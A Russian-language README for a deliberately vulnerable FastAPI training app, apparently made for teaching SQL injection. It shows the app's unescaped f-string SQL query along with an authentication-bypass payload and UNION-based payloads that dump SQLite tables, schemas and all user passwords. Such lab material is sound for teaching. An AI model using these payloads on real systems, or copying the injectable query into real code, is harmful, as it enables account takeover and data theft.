# Kulesh_Web_app - Уязвимое веб-приложение Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI. ## Функциональность приложения - ✅ Регистрация пользователей - ✅ Авторизация пользователей - ✅ Cookie-аутентификация - ✅ Страница приветствия для авторизованных пользователей - ✅ Docker-контейнеризация ## Сборка и запуск ### Сборка Docker-образа ```bash docker build -t kulesh_web-app:v0.0.1a . ``` ### Запуск приложения ```bash docker compose up ``` Приложение будет доступно по адресу: http://localhost:8000 ## Работа с CURL ### Регистрация пользователя Administrator ```bash curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register ``` ### Регистрация пользователя Kulesh_AS ```bash curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register ``` ### Авторизация через CURL ```bash curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login ``` ### Доступ к защищенной странице ```bash curl -b cookies.txt http://localhost:8000/welcome ``` ## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ ### SQL-инъекция через форму авторизации Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код: ```python cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'") ``` Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды. ### Базовый обход аутентификации **Payload для поля login:** ```sql ' OR 1=1-- ``` **Поле password:** (любое значение) Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе. ### Извлечение информации о базе данных #### 1. Получение списка подключенных файлов БД: ```sql ' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list -- ``` #### 2. Получение списка пользовательских таблиц: ```sql ' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' -- ``` #### 3. Получение схем всех таблиц: ```sql ' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' -- ``` #### 4. Извлечение всех пользователей и паролей: ```sql ' UNION SELECT id, login, password FROM users -- ``` #### 5. Получение данных конкретного пользователя Administrator: ```sql ' UNION SELECT id, login, password FROM users WHERE login='Administrator' -- ``` ### Пошаговая эксплуатация 1. **Откройте форму входа:** http://localhost:8000/login 2. **Введите базовый payload для обхода аутентификации:** - Login: `' OR 1=1--` - Password: `test` 3. **Для извлечения данных используйте UNION-based инъекцию:** - Login: `' UNION SELECT id, login, password FROM users --` - Password: `test` 4. **В ответе на странице приветствия вы увидите данные всех пользователей**